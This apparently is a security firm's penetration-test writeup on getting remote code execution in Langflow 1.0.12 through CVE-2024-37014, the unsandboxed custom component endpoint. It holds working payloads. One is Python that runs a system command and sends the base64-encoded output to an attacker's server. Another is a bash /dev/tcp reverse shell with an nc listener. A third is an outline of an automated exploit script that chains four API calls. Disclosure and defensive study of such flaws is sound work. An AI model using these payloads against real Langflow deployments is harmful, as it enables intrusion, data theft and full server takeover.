← Back to all articles

Langflow RCE via Custom Component — CVE-2024-37014

How we gained a reverse shell on Langflow 1.0.12 by abusing the unsandboxed custom component execution endpoint.

In this writeup, we'll go through the steps to obtain a reverse shell on Langflow, a popular open-source framework for building AI-powered applications.

Langflow is a self-hosted platform that lets users visually compose LLM pipelines using a drag-and-drop interface. We will be exploiting one of its features that allows users to write and execute custom Python components directly on the server.

Machine Walkthrough

We start with enumerating the machine by a simple port scan.

nmap -sC -sV -A -p- 

image.png

image.png

HTTP service on port 7860.

Visit the website.

image.png

The version doesn't seem to be on the frontpage so we start a new Blank Flow project within Langflow. While exploring the UI, we notice a button on the bottom-left corner that displays the version number when we hover over it. By doing this, we confirm that Langflow v1.0.12 is in use.

image.png

We do a quick search to find out if it has any public vulnerability.

CVE-2024-37014: Langflow's Custom Component feature allows users to write and execute arbitrary Python scripts via the POST /api/v1/custom_component endpoint without any validation or sandboxing. This means an attacker can craft a malicious payload, send it to the server, and execute arbitrary Python code — effectively gaining full control over the system.

💡 CVE-2024-37014 is a critical vulnerability affecting Langflow versions up to and including 0.6.19, yet it seems to still affect version 1.0.12.

Manual Exploitation

Step 1 — Create a New Project

Start by initializing a new blank flow project within the Langflow application.

image.png

image.png

Search for "Custom Components" in the menu on the left and drag and drop a custom component onto the blank canvas.

image.png

Click on the code icon that appears on top of the component to open the Edit Code window.

image.png

Step 2 — Inject Malicious Python Code

Within the CustomComponent class, we inject the following function to execute arbitrary system commands and send the output to our server:

import subprocess
import requests
import base64

def execute_and_send():
    result = subprocess.run(['uname', '-a'], capture_output=True, text=True)
    if result.stderr:
        print("Error:", result.stderr)
        return
    encoded_output = base64.b64encode(result.stdout.encode()).decode()
    requests.get(f"http:///?data={encoded_output}")

execute_and_send()

Be sure to include the payload inside the component's class, not just replace the whole file.

Step 3 — Trigger Execution

Click the "Check & Save" button then run the component with the arrow on the top right. This triggers the /api/v1/custom_component API which processes and executes our script.

image.png

Step 4 — Establish a Reverse Shell

We upgrade the exploit to get a full reverse shell by replacing the payload with:

def build_output(self) -> Data:
    result = subprocess.run(
        ["bash", "-c", "bash -i >& /dev/tcp//1234 0>&1"],
        capture_output=True,
        text=True
    )
    if result.stderr:
        return Data(value=f"Error: {result.stderr}")
    return Data(value="Command executed")

Start the listener on your machine:

nc -lvnp 1234

Check and Save the component then press run.

image.png


Automation

Instead of triggering the exploit manually, we automated the full attack chain using a Makefile and a dedicated exploit.py script.

Project Structure

exploitation/Langflow_v1.0.12/
├── exploit.py      # Full attack automation (4-step RCE chain)
├── Makefile        # Shortcuts for listener and attack
└── README.md       # This writeup

How it works

The exploit.py script mirrors exactly what the Langflow UI does internally, in 4 automated steps:

  1. Validate the malicious component code via POST /api/v1/custom_component
  2. Create a flow containing the malicious component via POST /api/v1/flows/
  3. Initialize the build graph via POST /api/v1/build/{flow_id}/vertices
  4. Trigger execution via POST /api/v1/build/{flow_id}/vertices/{vertex_id} → RCE fires

Usage

Terminal 1 — Start the listener:

make listen

Terminal 2 — Launch the attack:

make attack LISTENER_IP=<your-ip>

Start listener

image.png

Run the exploit

image.png

Get shell

image.png


Conclusion

This penetration test demonstrates how an attacker can leverage the insecure execution of user-defined Python scripts within Langflow's Custom Component feature to gain Remote Code Execution (RCE). The absence of any sandboxing or input validation on the /api/v1/custom_component endpoint makes this a trivially exploitable unauthenticated RCE in any internet-facing Langflow deployment.

Want to test your own defenses?

Book a free high-level cybersecurity assessment with our team.

Get Started